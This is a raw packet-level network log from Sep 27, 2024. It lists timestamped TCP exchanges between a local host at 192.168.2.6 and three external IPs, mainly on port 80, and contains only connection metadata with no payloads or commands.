Sep 27, 2024 16:18:13.074748993 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.074769020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074795008 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.074801922 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074807882 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.074938059 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.074970961 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075004101 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075021029 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075047016 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075120926 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075170994 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075202942 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075217009 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075233936 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075246096 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075268030 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075299978 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075346947 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075351954 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075485945 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075500011 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075516939 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075548887 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075560093 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075581074 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075608015 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075613976 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075632095 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075654030 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075746059 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075784922 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075794935 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075819016 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075850964 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075850964 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075862885 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075882912 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.075890064 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075942993 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.075987101 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.076025009 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.076030016 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.076117039 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112399101 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112448931 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112498999 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112502098 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112531900 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112550020 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112582922 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112615108 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112634897 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112648010 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112668991 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112682104 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112695932 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112720966 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112720966 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112802029 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112833023 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112864971 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112865925 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112876892 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112900019 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.112958908 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.112976074 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113008022 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113039970 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113051891 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113127947 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113156080 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113176107 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113188982 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113220930 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113239050 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113251925 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113296032 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113399982 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113431931 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113454103 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113462925 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113481045 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113491058 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113509893 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113523960 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113531113 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113557100 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113589048 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113601923 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113624096 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113636017 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113688946 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113734961 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113821983 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113853931 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113874912 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113886118 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113905907 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113919020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113951921 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.113980055 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.113982916 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114007950 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114033937 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114201069 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114233017 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114264965 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114290953 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114293098 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114325047 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114326954 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114342928 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114357948 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114367962 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114387989 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114399910 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114419937 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114439011 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114453077 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114461899 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114485979 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114517927 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114518881 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114537001 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114552021 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114557981 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114612103 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114763021 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114789963 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114814997 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114836931 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114870071 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114882946 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114902020 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114914894 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.114934921 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.114968061 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115000963 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115025043 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115031958 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115053892 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115063906 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115078926 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115108013 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115253925 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115286112 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115299940 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115318060 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115331888 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115350008 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115402937 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115427017 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115436077 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115469933 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115489960 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115497112 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115515947 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115529060 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115545988 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115561962 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115592957 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115627050 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115641117 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115672112 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115813971 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115845919 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115878105 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115895033 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115910053 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115926981 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115947962 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115953922 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.115978003 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.115994930 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.116010904 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.116028070 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.116048098 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.116055965 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.116080999 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.116127014 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.149696112 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.149713039 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.149727106 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.149785995 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.149785995 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.149805069 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.149821043 CEST	80	49609	185.215.113.26	192.168.2.6
Sep 27, 2024 16:18:13.149852037 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.149869919 CEST	49609	80	192.168.2.6	185.215.113.26
Sep 27, 2024 16:18:13.409657001 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:13.414758921 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:13.414856911 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:13.424767017 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:13.429800034 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:14.255582094 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:14.280677080 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:14.708786964 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:14.917581081 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:14.917670012 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:14.917722940 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:14.918077946 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:14.918126106 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:14.923058987 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:14.923111916 CEST	80	49607	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:14.923135996 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:14.923230886 CEST	80	49607	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:14.923289061 CEST	49607	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:14.923784971 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:14.928791046 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:14.960083008 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:14.964906931 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:15.162678003 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:15.304790974 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:15.676048040 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.676137924 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.677598953 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.682430029 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895040989 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895088911 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895132065 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895143986 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895180941 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895184040 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895215988 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895221949 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895221949 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895267963 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895272017 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895306110 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895343065 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895356894 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895365953 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895410061 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895443916 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895446062 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895482063 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.895498991 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895498991 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.895600080 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.900307894 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.900413036 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.982614994 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.982657909 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:15.982697964 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:15.982697964 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019150972 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019208908 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019236088 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019244909 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019290924 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019290924 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019320965 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019372940 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019408941 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019439936 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019474030 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019479990 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019507885 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.019522905 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.019581079 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.020153046 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020235062 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.020278931 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020313978 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020381927 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.020629883 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.020679951 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020746946 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.020792007 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020824909 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020857096 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.020883083 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.020901918 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.021207094 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.021256924 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.021289110 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.021295071 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.021365881 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.021398067 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.021451950 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.021549940 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.022099972 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.022151947 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.022201061 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.022202015 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.106822014 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.106868982 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.106893063 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.106906891 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.106928110 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.107038021 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.143810987 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.143842936 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.143896103 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.143898010 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.143898010 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.143948078 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.143976927 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.143980980 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.143996954 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144018888 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144051075 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144123077 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144134998 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144186974 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144210100 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144220114 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144258976 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144258976 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144438028 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144473076 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144494057 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144520044 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144572973 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144572973 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144690037 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144741058 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144853115 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144896030 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144896984 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.144928932 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144963026 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.144994974 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145015001 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145015955 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145042896 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145335913 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145369053 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145396948 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145401955 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145417929 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145467043 CEST	49611	80	192.168.2.6	185.215.113.16
